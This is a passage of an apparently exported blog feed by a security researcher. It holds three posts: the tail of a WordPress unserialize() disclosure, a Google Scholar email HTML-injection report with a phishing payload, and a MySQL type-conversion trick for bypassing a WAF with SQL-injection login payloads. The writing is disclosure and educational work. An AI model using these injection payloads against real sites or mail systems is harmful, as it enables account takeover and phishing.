             &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/^&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:[0-9]+:/s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'b'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'i'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'d'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$strict&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/^&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:[0-9.E-]+;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$end&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The main difference is that  when the &lt;code&gt;$strict&lt;/code&gt; parameter is set to &lt;code&gt;false&lt;/code&gt;, there are fewer constraints a string needs to be marked serialized. 
For example, the last character no longer needs to be &lt;code&gt;;&lt;/code&gt; or &lt;code&gt;{&lt;/code&gt;, which makes that this fix patches the vulnerability I reported.
Now are there any similar issues that could lead to have the same consequences?&lt;/p&gt;

&lt;p&gt;As WordPress is still using the unsafe &lt;code&gt;unserialize()&lt;/code&gt; function instead of the safer &lt;code&gt;json_decode()&lt;/code&gt;, it is now dependant on the regularity of MySQL’s irregular behaviour.
The vulnerability I disclosed above made use of the fact that MySQL’s &lt;code&gt;utf8&lt;/code&gt; charset removes  all characters that come after an astral symbol. Now what would happen if in a future version, MySQL would remove everything before this character? WordPress would be vulnerable again.
Another option that is not unlikely, is that there exists a character that is removed by MySQL when &lt;code&gt;INSERT&lt;/code&gt;ed. 
In this case, &lt;code&gt;is_serialized()&lt;/code&gt; will return &lt;code&gt;false&lt;/code&gt; when trying to insert a string with this character prepended as meta-data. When this string is then retrieved again, it will no longer have the character, and &lt;code&gt;is_serialized()&lt;/code&gt; will now return &lt;code&gt;true&lt;/code&gt;, which will cause the user-generated string to be unserialized.&lt;/p&gt;

&lt;p&gt;Ofcourse, this is pure speculation (as I am not that familiar with MySQL). I shared these concerns with WordPress, and they consulted their MySQL expert, and assured that above scenarios will not happen. The first scenario (where characters are removed &lt;em&gt;before&lt;/em&gt; a certain character), will not happen because:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I see no way of this happening. ‘After’ can happen, if you manage to define a partial multi-byte character, as in the original report. ‘Before’ can’t, because MySQL only runs forward through a string when converting it to a character set, never backwards.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As for the second scenario (where a character “disappears”) will not happen because:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;MySQL replaces characters it doesn’t recognize (for the given character set), with a placeholder. MySQL will sometimes replace byte sequences with “?” or “�” (U+FFFD). Such replacements would not be harmful.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;April 3rd&lt;/strong&gt;: Vulnerability discovered&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;April 4th&lt;/strong&gt;: WordPress notified&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;June 18th&lt;/strong&gt;: First WordPress fix&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;June 21st&lt;/strong&gt;: WordPress 3.5.2 released &lt;em&gt;(fix not included)&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;August 1st&lt;/strong&gt;: WordPress 3.6 released &lt;em&gt;(fix not included)&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;September 6th&lt;/strong&gt;: Second WordPress fix&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;September 11th&lt;/strong&gt;: WordPress 3.6.1 released &lt;strong&gt;&lt;em&gt;(fix included)&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;September 11th&lt;/strong&gt;: Public disclosure through this blog post&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Even though this vulnerability was caused by a single Unicode character, it  did have an impact on the core functionality of WordPress (presumably this is why it took them 5 months to fix). As abandoning the use of &lt;code&gt;unserialize()&lt;/code&gt; was not an option for them (presumably because of legacy issues), they had to come up with a good algorithm to prevent this vulnerability while remaining compatible with a plethora of plugins and other systems. All in all, I feel a bit more safe hosting my friend’s WP blog, though I did &lt;a href=&quot;http://mathiasbynens.be/notes/mysql-utf8mb4#databases-tables-columns&quot; title=&quot;Step 3: Modify databases, tables, and columns&quot;&gt;alter the meta-tables to support all Unicode characters&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-mysql&quot;&gt;ALTER TABLE wp_commentmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE wp_postmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE wp_usermeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Finally, I would like to thank the WordPress Security Team for our collaboration on fixing this vulnerability, and for taking my feedback on both fixes into account.&lt;/p&gt;</content><author><name>Tom Van Goethem</name></author><category term="WordPress" /><category term="Security" /><category term="0day" /><category term="PHP" /><category term="MySQL" /><summary type="html">After reading a blog post about a “PHP object injection” vulnerability in Joomla, I dug a bit deeper and found Stefan Esser’s slides of the 2010 BlackHat conference, which showed that PHP’s unserialize() function can give rise to vulnerabilities when supplied user-generated content. So basically, the unserialize() function takes a string that represents a serialized value, and unserializes (hence the name) it to a PHP value. This value can be any type, except the resource type (i.e. integer, double, string, array, boolean, object, NULL). When the function is given a user-generated string, this may result in memory leak vulnerabilities in some (older) PHP versions. However, this will not be the focus of this blog post. If you want to learn more about this, you can refer to the aforementioned BlackHat slides.</summary></entry><entry><title type="html">HTML injection in mails sent from Google Scholar</title><link href="https://tom.vg//2013/09/google-scholar-email-html-injection/" rel="alternate" type="text/html" title="HTML injection in mails sent from Google Scholar" /><published>2013-09-10T00:00:00+02:00</published><updated>2013-09-10T00:00:00+02:00</updated><id>https://tom.vg//2013/09/google-scholar-email-html-injection</id><content type="html" xml:base="https://tom.vg//2013/09/google-scholar-email-html-injection/">&lt;p&gt;As you might know, Google is running a &lt;a href=&quot;http://www.google.be/about/appsecurity/reward-program/&quot; title=&quot;Vulnerability reward program&quot;&gt;vulnerability reward program&lt;/a&gt;, where they award researchers monetary awards or a place in their &lt;a href=&quot;http://www.google.be/about/appsecurity/hall-of-fame/&quot; title=&quot;Google Hall of Fame&quot;&gt;Hall of Fame&lt;/a&gt; when they responsibly disclose vulnerabilities.
With this in mind, I was scooping around on several Google services, including Google Scholar.
As I recently started a &lt;a href=&quot;https://distrinet.cs.kuleuven.be/people/&quot; title=&quot;Distrinet&quot;&gt;PhD at K.U. Leuven&lt;/a&gt;, I wanted to change my Google Scholar email address, which was my student’s address before. A few seconds later I received the following email:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/google-scholar-verify-normal.png&quot; alt=&quot;Google Scholar Verification email (normal)&quot; class=&quot;image border&quot; /&gt;&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;Nothing wrong with this apparently. Now, as &lt;a href=&quot;https://twitter.com/mathias&quot; title=&quot;Mathias Bynens&quot;&gt;Mathias Bynens&lt;/a&gt; and I had discovered an HTML-injection vulnerability in emails sent from Instagram not too long ago, I thought: let’s see what we get if my name were &lt;code&gt;Tom Van Goethem&amp;lt;!--&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/google-scholar-verify-ltdashdash.png&quot; alt=&quot;Google Scholar Verification email (HTML injected)&quot; class=&quot;image border&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now as you can see, the bottom part has suddenly disappeared. So this could mean that the HTML comment was not escaped properly and thus rendered in the email. This is confirmed by looking at the source of the email:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://scholar.google.be/cita=
tions?user=3D7QYR1UoAAAAJ&amp;amp;hl=en&quot;&amp;gt;Tom Van Goethem&amp;lt;!--&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So this means that an attacker can inject arbitrary HTML content into emails that are sent by Google Scholar. This means that the attacker is also able to inject stylesheets into the email, allowing him to make the email look like whatever he wants.
He could then use this to send out spam, promoting his viagra pills, or phishing emails, asking the user to confirm his address at &lt;a href=&quot;http://google-scholar.org&quot; title=&quot;Google Scholar&quot;&gt;“Google Scholar”&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here’s an example of what an email from someone named &lt;code&gt;&amp;lt;/a&amp;gt;&amp;lt;a id=a href=http://goo.gl/CQtK5F&amp;gt;&amp;lt;link rel=stylesheet href=&quot;http://tomvglabs.be/css.php&quot;&amp;gt;&lt;/code&gt; might look like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/google-scholar-phishing.png&quot; alt=&quot;Google Scholar Verification email (phishing)&quot; class=&quot;image border&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As you might have guessed, clicking that URL won’t refer you to the real Google Scholar, but to &lt;code&gt;http://goo.gl/CQtK5F&lt;/code&gt; instead, which redirects to &lt;code&gt;http://google-scholar.org&lt;/code&gt; (available for registration).&lt;/p&gt;

&lt;p&gt;###Google’s response&lt;/p&gt;

&lt;p&gt;Trying to participate in the Google’s vulnerability reward program, I privately disclosed this vulnerability to Google, trying to be as clear as possible showing them the potential dangers.&lt;/p&gt;

&lt;p&gt;One day later I received the following email:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hi Tom Van Goethem,&lt;/p&gt;

  &lt;p&gt;Nice catch! I’ve filed a bug and will update you once we’ve got more information.&lt;/p&gt;

  &lt;p&gt;Regards,
Aleksandr Dobkin, Google Security Team&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;One week later:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hey,&lt;/p&gt;

  &lt;p&gt;Thanks for submitting this report, unfortunately we can’t include it in the program as we do not believe that there is a security sensitive change that needs to be done here.&lt;/p&gt;

  &lt;p&gt;Regards,
Kevin&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hmmm, not security sensitive? Maybe I was not clear enough in my original report, so I sent another email pointing out that it is in fact security sensitive as it allows attackers to easily send out thousands of phishing mails to people with an academic email address.
To make matters worse, the emails contain a &lt;a href=&quot;http://www.dkim.org/&quot; title=&quot;DomainKeys Identified Mail&quot;&gt;DKIM signature&lt;/a&gt; from the &lt;code&gt;google.com&lt;/code&gt; domain, letting Google take responsibility for the message.
Even if this vulnerability doesn’t qualify for a reward, I strongly believe that it should be fixed promptly to protect end users.&lt;/p&gt;

&lt;p&gt;This was the Google Security Team’s reply to my clarifying email:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I do fully realize that this exploits the DKIM signature however we still do not feel this warrants an award as almost no one actually checks DKIM, and the few that do, almost never take their signature verification out of TEST mode anyway. Additionally, as you said you can register google-scholar.com and phish from there as well.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Still no luck! At this point Google even would not make a change to their code, leaving it vulnerable, until I sent following email:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Having read your stance on coordinated disclosure, I feel that it might be better for me to publicly disclose this vulnerability, as I feel that there is a severe security impact (while you clearly have a different opinion on this). By publicly disclosing this vulnerability, you will be forced to fix this vulnerability, making the web a safer place for academic people.&lt;/p&gt;

  &lt;p&gt;I will however give you a reasonable amount of time to fix this vulnerability before I disclose the full details. As the fix of this vulnerability just takes about 3 command (adding &lt;code&gt;htmlentities&lt;/code&gt; to all user input), I feel that 2 weeks is a very reasonable amount of time.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Approximately 12 hours later I received following email:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I have some interesting news. We have decided to fix this issue, so you will receive credit at the very least. More interestingly while fixing this we discovered another issue that may be worth a monetary award. If you can hold off on publishing we will make that decision next week and let you know.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And that was last week. Unfortunately, this bug did not meet the threshold for a reward (while Facebook rewarded me and Mathias a generous amount for a very similar vulnerability we reported in Instagram). I did end up in the &lt;a href=&quot;http://www.google.be/about/appsecurity/hall-of-fame/distinction/&quot; title=&quot;Honorable Mention&quot;&gt;Honorable Mention&lt;/a&gt; section of the Hall of Fame though.&lt;/p&gt;

&lt;p&gt;###Conclusion&lt;/p&gt;

&lt;p&gt;So why should you not trust emails sent from Google? As I’ve mentioned, the Google Security Team initially stated that injecting arbitrary HTML content in emails is not security sensitive. Not until they were pressurized by the possibility of a public disclosure, did they have the intent to fix this vulnerability promptly. Given this information, I assume that it is unlikely they will fix similar vulnerabilities found in the future (unless the reporter keeps persisting on fixing the vulnerability). This means that when you receive your next email from Google, asking to confirm something by clicking a link, please be very cautious on what you click on, and make sure not to enter any credentials, even when it all looks legit.&lt;/p&gt;

&lt;p&gt;Comments are welcome: &lt;a href=&quot;https://news.ycombinator.com/item?id=6364481&quot; title=&quot;Hacker News&quot;&gt;Hacker News&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/tomvangoethem/status/377582574068973568&quot; title=&quot;Twitter&quot;&gt;Twitter&lt;/a&gt;&lt;/p&gt;</content><author><name>Tom Van Goethem</name></author><category term="Google" /><category term="Bug-Bounty" /><category term="Email" /><summary type="html">As you might know, Google is running a vulnerability reward program, where they award researchers monetary awards or a place in their Hall of Fame when they responsibly disclose vulnerabilities. With this in mind, I was scooping around on several Google services, including Google Scholar. As I recently started a PhD at K.U. Leuven, I wanted to change my Google Scholar email address, which was my student’s address before. A few seconds later I received the following email:</summary></entry><entry><title type="html">Implicit type conversion in MySQL</title><link href="https://tom.vg//2013/04/mysql-implicit-type-conversion/" rel="alternate" type="text/html" title="Implicit type conversion in MySQL" /><published>2013-04-08T00:00:00+02:00</published><updated>2013-04-08T00:00:00+02:00</updated><id>https://tom.vg//2013/04/mysql-implicit-type-conversion</id><content type="html" xml:base="https://tom.vg//2013/04/mysql-implicit-type-conversion/">&lt;p&gt;In some languages, using arithmetic operators on elements that aren’t numeric, give some weird results. In JavaScript for example, &lt;code&gt;[ ] + { }&lt;/code&gt; is an Object, while &lt;code&gt;{ } + [ ]&lt;/code&gt; appears to be &lt;code&gt;NaN&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let’s look at how MySQL behaves…&lt;/p&gt;

&lt;p&gt;Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT 1+1;
+-----+
| 1+1 |
+-----+
|   2 |
+-----+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;!-- more --&gt;

&lt;h3 id=&quot;mysql-type-conversion&quot;&gt;MySQL Type Conversion&lt;/h3&gt;

&lt;p&gt;Nothing special there. But what would happen if we’d try to add a string and an integer…&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT 'foo'+1;
+---------+
| 'foo'+1 |
+---------+
|       1 |
+---------+
1 row in set, 1 warning (0.00 sec)
mysql&amp;gt; SHOW WARNINGS;
+---------+------+-----------------------------------------+
| Level   | Code | Message                                 |
+---------+------+-----------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'foo' |
+---------+------+-----------------------------------------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;A bit more interesting, adding &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;'foo'&lt;/code&gt; returns &lt;code&gt;1&lt;/code&gt;. What happens here, is that &lt;code&gt;'foo'&lt;/code&gt; is converted to a &lt;code&gt;DOUBLE&lt;/code&gt;. But since it clearly is non-numeric, it will be converted to &lt;code&gt;0&lt;/code&gt; (and generate the above warning).&lt;br /&gt;
&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/type-conversion.html&quot; title=&quot;MySQL Type Conversion&quot;&gt;Still nothing new here…&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reference manual of MySQL says:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;When an operator is used with operands of different types, type
conversion occurs to make the operands compatible.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So what happens when we try to add two strings?&lt;br /&gt;
These are of the same type, so shouldn’t need to be converted, right?&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT 'a'+'b';
+---------+
| 'a'+'b' |
+---------+
|       0 |
+---------+
1 row in set, 2 warnings (0.00 sec)
mysql&amp;gt; SHOW WARNINGS;
+---------+------+---------------------------------------+
| Level   | Code | Message                               |
+---------+------+---------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
+---------+------+---------------------------------------+
2 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Guess not… So something else is going on here, it appears that &lt;code&gt;+&lt;/code&gt; is an &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/arithmetic-functions.html&quot; title=&quot;MySQL Arithmetic Functions&quot;&gt;arithmetic operator&lt;/a&gt;. That might explain why both strings are converted to numeric values.&lt;/p&gt;

&lt;p&gt;So we know that the sum of two strings results in a numeric value, namely &lt;code&gt;0&lt;/code&gt;. You can verify this by running the query &lt;code&gt;SELECT 'a' + 'b' = 0&lt;/code&gt;, which will result in &lt;code&gt;1&lt;/code&gt; (which is the same as &lt;code&gt;TRUE&lt;/code&gt;). Now, what would happen if we compared the sum of two strings with another string. Let’s see…&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mysql&amp;gt; SELECT 'a'+'b'='c';
+-------------+
| 'a'+'b'='c' |
+-------------+
|           1 |
+-------------+
1 row in set, 3 warnings (0.00 sec)

mysql&amp;gt; SHOW WARNINGS;
+---------+------+---------------------------------------+
| Level   | Code | Message                               |
+---------+------+---------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'c' |
+---------+------+---------------------------------------+
3 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It appears that the string you compare the sum of two strings with, is converted to a numeric value (again &lt;code&gt;0&lt;/code&gt;). This is a kind of behaviour that might come as unexpected. It is documented somewhat unclearly in the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/type-conversion.html&quot; title=&quot;MySQL Type Conversion&quot;&gt;MySQL Reference Manual&lt;/a&gt; as the last rule of how conversion occurs.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In all other cases, the arguments are compared as floating-point (real) numbers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now, this article is about bypassing Web Application Firewalls, so let’s move on to that.&lt;/p&gt;

&lt;h3 id=&quot;bypassings-wafs&quot;&gt;Bypassings WAFs&lt;/h3&gt;

&lt;p&gt;Say you have a login-system which is vulnerable to SQL-injection. Since you have no clue how to fix this, you have put a WAF in front of your application. The login-system is likely to contain a query such as &lt;code&gt;SELECT * FROM users WHERE username = '$_POST[&quot;username&quot;]' AND password = '$_POST[&quot;password&quot;]'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A straighforward SQL-injection attack would be to enter &lt;code&gt;a' OR 1='1&lt;/code&gt; as the username and pick a random value for the password-field. This would result in the query &lt;code&gt;SELECT * FROM users WHERE username = 'a' OR 1='1' AND password = 'foobar'&lt;/code&gt;. This will most likely log the attacker in as the first user in the users-table. But since you are using a WAF, you should be safe from this kind of attack.&lt;/p&gt;

&lt;p&gt;If the attacker were a bit smarter, and use the information discussed above, he might enter &lt;code&gt;a'+'b&lt;/code&gt; as username and the same for the password-field. This results in the following query being executed: &lt;code&gt;SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b'&lt;/code&gt;. As we’ve seen above, &lt;code&gt;'a'+'b'&lt;/code&gt; will be converted to a numeric value, and so will &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This means that the attacker will be logged in as the first user whose username and password doesn’t start with a numeric value. If the superadmin’s username would be 666admin, the attacker could still enter &lt;code&gt;'a'+'666&lt;/code&gt; as a username (which will be converted to the same value as &lt;code&gt;666admin&lt;/code&gt; will be converted to, namely &lt;code&gt;666&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;I have stated that WAF’s can be bypassed using this technique, but actually WAF’s should be read as “ModSecurity and probably others as well”. You can test the &lt;code&gt;a'+'b&lt;/code&gt; attack on &lt;a href=&quot;http://www.modsecurity.org/testphp.vulnweb.com/login.php&quot; title=&quot;ModSecurity Demonstration Project (Acunetix)&quot;&gt;one of ModSecurity’s demonstration projects&lt;/a&gt;. Entering &lt;code&gt;' OR 1='1&lt;/code&gt; as username and password will return the following error:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;ModSecurity Alert Message:&lt;/p&gt;

  &lt;p&gt;Inbound Alert: 981242-Detects classic SQL injection probings 1/2&lt;/p&gt;

  &lt;p&gt;Outbound Alert: 981242-Detects classic SQL injection probings 1/2&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Entering &lt;code&gt;a'+'b&lt;/code&gt; as username and password will log you in, but no alerts or warnings are given by ModSecurity.&lt;/p&gt;

&lt;p&gt;Until now, I have only talked about the &lt;code&gt;+&lt;/code&gt; operator, but MySQL offers quite some other operators that will have the same effect. The &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/arithmetic-functions.html&quot; title=&quot;MySQL Arithmetic Functions&quot;&gt;MySQL 5.5 Reference Manual&lt;/a&gt; lists following operators as arithmetic operators: &lt;code&gt;DIV&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;%&lt;/code&gt;, &lt;code&gt;MOD&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt; and &lt;code&gt;*&lt;/code&gt;. This makes &lt;code&gt;a'MOD'1&lt;/code&gt; an attack vector as well, which seems very hard for a WAF to detect as a possible SQL-Injection attack.&lt;/p&gt;

&lt;p&gt;Until now, I have only talked about arithmetic operators. MySQL offers quite some other functions as well, for example &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/bit-functions.html&quot; title=&quot;MySQL Bit Functions&quot;&gt;bit functions&lt;/a&gt;. The functions that are usable in this case are &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;^&lt;/code&gt;, &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Until now, I have only talked about operators that make the right-hand side of the assignment evaluate first. This is because their &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/operator-precedence.html&quot; title=&quot;MySQL Operator Precedence&quot;&gt;operator precedence&lt;/a&gt; is higher than that of &lt;code&gt;= (comparison)&lt;/code&gt;. With the operators and functions whose precedence is equal or lower than that of &lt;code&gt;=&lt;/code&gt;, ModSecurity does seem to detect an SQL attack. (The &lt;code&gt;' OR 1='1&lt;/code&gt; attack vector falls under this part.)&lt;/p&gt;

&lt;p&gt;The moral of this blog post is that you should not depend on a WAF to protect your web application. A WAF adds another layer of defense, but as you’ve seen here, it’s not all that difficult to bypass.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;examples&quot;&gt;Examples&lt;/h3&gt;

&lt;p&gt;As an example I’ve created following table, and populated it with 2 users.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;`users`&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;`userid`&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AUTO_INCREMENT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;`username`&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;varchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;`password`&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;varchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;KEY&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;`userid`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

